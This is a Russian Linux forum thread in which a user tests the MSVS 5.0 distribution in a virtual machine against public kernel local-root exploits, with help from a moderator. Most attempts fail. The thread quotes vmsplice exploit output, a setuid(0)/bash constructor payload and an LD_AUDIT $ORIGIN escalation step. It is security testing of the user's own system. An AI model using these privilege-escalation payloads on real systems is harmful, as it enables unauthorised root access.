Проверка МСВС на "вшивость"

Системы, которые не вошли в список.

Модератор: Модераторы разделов

Ответить
Аватара пользователя
ArkanJR
Сообщения: 1164
Статус: Профан

Проверка МСВС на "вшивость"

Сообщение ArkanJR »

Разжился на днях исходниками, по идее позволяющие через вызов функции ядра socketpair() создать процесс, съедающий 100% процессорного времени и все файловые дескрипторы. Процесс, будучи запущенным от имени любого пользователя, может привести систему к состоянию полной неработоспособности. Назовём их условно hole1 и hole2.

Скомпилировал их под МСВС 5.0 (ядро 2.6.18) в виртуальной машине и запустил. Оба бинарника запустились с сообщением
Ошибка открытия /proc/net/dev!


Обе программы завершились через некоторое время без какого-либо зависания системы. Начало ободряющее.
Вложения
hole_02.PNG
hole_01.PNG
10% — это 0,1.
© Bizdelnick
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Проверка МСВС на "вшивость"

Сообщение Bizdelnick »

ArkanJR писал(а):
14.11.2016 19:25
ядро 2.6.18

https://www.cvedetails.com/vulnerability-li...l-2.6.18.8.html
Я бы начал с этого, этого и этого. ☺
Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
ArkanJR
Сообщения: 1164
Статус: Профан

Re: Проверка МСВС на "вшивость"

Сообщение ArkanJR »


А что значит эта строчка в комментарии кода?
-static -Wno-format
10% — это 0,1.
© Bizdelnick
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Проверка МСВС на "вшивость"

Сообщение Bizdelnick »

Опции компилятора.
Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
ArkanJR
Сообщения: 1164
Статус: Профан

Re: Проверка МСВС на "вшивость"

Сообщение ArkanJR »

Bizdelnick писал(а):
14.11.2016 20:09
Опции компилятора.

Про -Wno-format что-то яндекс ничего не нашёл и в мане про неё ничего нет...
10% — это 0,1.
© Bizdelnick
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Проверка МСВС на "вшивость"

Сообщение Bizdelnick »

Ну и забейте, никакой магии эта опция делать не должна. -Wno-* просто подавляют предупреждения. В нынешних версиях gcc предупреждения про ошибки формата по умолчанию и так не выводятся, возможно, раньше было по-другому.
Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
ArkanJR
Сообщения: 1164
Статус: Профан

Re: Проверка МСВС на "вшивость"

Сообщение ArkanJR »

Приступил к проверке работоспособности эксплойтов, ссылки на которые любезно предоставил Bizdelnick.

Первым был запущен скрипт team-edward.py. Не взлетел (см. скриншот).

Далее был опробован код, который я назвал exploit01. Его даже не получилось скомпилировать.

Ну и на закуску был скомпилирован и запущен american-sign-language. Но запуск программы закончился безрезультатно.

По итогам остался некоторый осадок: не внесли ли авторы в коды данных эксплойтов ошибки, дабы ими не воспользовались "скрипт кидди"? Ведь вполне может оказаться, что полученные результаты обусловлены отнюдь не устойчивостью МСВС...
Вложения
american_sign_language.PNG
exploit01.PNG
team_edward.PNG
10% — это 0,1.
© Bizdelnick
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Проверка МСВС на "вшивость"

Сообщение Bizdelnick »

ArkanJR писал(а):
16.11.2016 19:03
Его даже не получилось скомпилировать.

Код: Выделить всё

#include <sys/user.h>
Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
ArkanJR
Сообщения: 1164
Статус: Профан

Re: Проверка МСВС на "вшивость"

Сообщение ArkanJR »

Bizdelnick писал(а):
16.11.2016 19:11

Код: Выделить всё

#include <sys/user.h>

Автор "забыл" внести в код данный хедер?
10% — это 0,1.
© Bizdelnick
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Проверка МСВС на "вшивость"

Сообщение Bizdelnick »

Нет, просто он собирал на очень другой системе. Видимо, у него этот макрос определялся в

Код: Выделить всё

#include <asm/page.h>
а вот на имеющейся у меня под рукой МСВС 5.0 (с ядром 2.6.32) такого файла просто нет. Если его заменить на sys/user.h — собирается (но не работает, что неудивительно):

$

----------------------------------- Linux vmsplice Local Root Exploit By qaaz ----------------------------------- [+] mmap: 0x100000000000 .. 0x100000001000 [+] page: 0x100000000000 [+] page: 0x100000000038 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4038 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0x7fa062b4a000 .. 0x7fa062b7c000 [-] vmsplice: Bad address

Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
ArkanJR
Сообщения: 1164
Статус: Профан

Re: Проверка МСВС на "вшивость"

Сообщение ArkanJR »

Ну что же, завтра тогда попробую проверить работу эксплойта с учётом замены asm/page.h на sys/user.h.
10% — это 0,1.
© Bizdelnick
Спасибо сказали:
Аватара пользователя
ArkanJR
Сообщения: 1164
Статус: Профан

Re: Проверка МСВС на "вшивость"

Сообщение ArkanJR »

Исходник скомпилировался, бинарник запустился, но root'овских прав при этом не предоставил.
Вложения
exploit01_1.PNG
10% — это 0,1.
© Bizdelnick
Спасибо сказали:
Аватара пользователя
ArkanJR
Сообщения: 1164
Статус: Профан

Re: Проверка МСВС на "вшивость"

Сообщение ArkanJR »

Нашёл тут методику по получению root'овских прав. Но не разобрался с данным фрагментом:
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D

С помощью команды cat > payload.c в файл payload.c вводится текст

Код: Выделить всё

void __attribute__((constructor)) init()
   {
       setuid(0);
       system("/bin/bash");
   }
   ^D
или что? И что означает ^D?
10% — это 0,1.
© Bizdelnick
Спасибо сказали:
Аватара пользователя
Bizdelnick
Модератор
Сообщения: 20752
Статус: nulla salus bello
ОС: Debian GNU/Linux

Re: Проверка МСВС на "вшивость"

Сообщение Bizdelnick »

ArkanJR писал(а):
22.11.2016 17:43
что означает ^D?

Ctrl+D
Пишите правильно:
в консоли
вку́пе (с чем-либо)
в общем
вообще
в течение (часа)
новичок
нюанс
по умолчанию
приемлемо
проблема
пробовать
трафик
Спасибо сказали:
Аватара пользователя
ArkanJR
Сообщения: 1164
Статус: Профан

Re: Проверка МСВС на "вшивость"

Сообщение ArkanJR »

Всё шло нормально до инициирования динамического связывания и загрузки $ORIGIN через LD_AUDIT и запуска программы по файловому дескриптору в /proc. Потом появились сообщения об отсутствии файла или каталога:
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
bash: /proc/self/fd/3: Нет такого файла или каталога
bash: exec: /proc/self/fd/3: не могу запустить: Нет такого файла или каталога

Ради интереса вручную вбил команды whoami и id, которые окончательно подтвердили, что фокус не удался и root'вские права я не получил:
[officer@localhost ~]$ whoami
officer
[officer@localhost ~]$ id
uid=300(officer) gid=100(users) группы=100(users)
10% — это 0,1.
© Bizdelnick
Спасибо сказали:
Ответить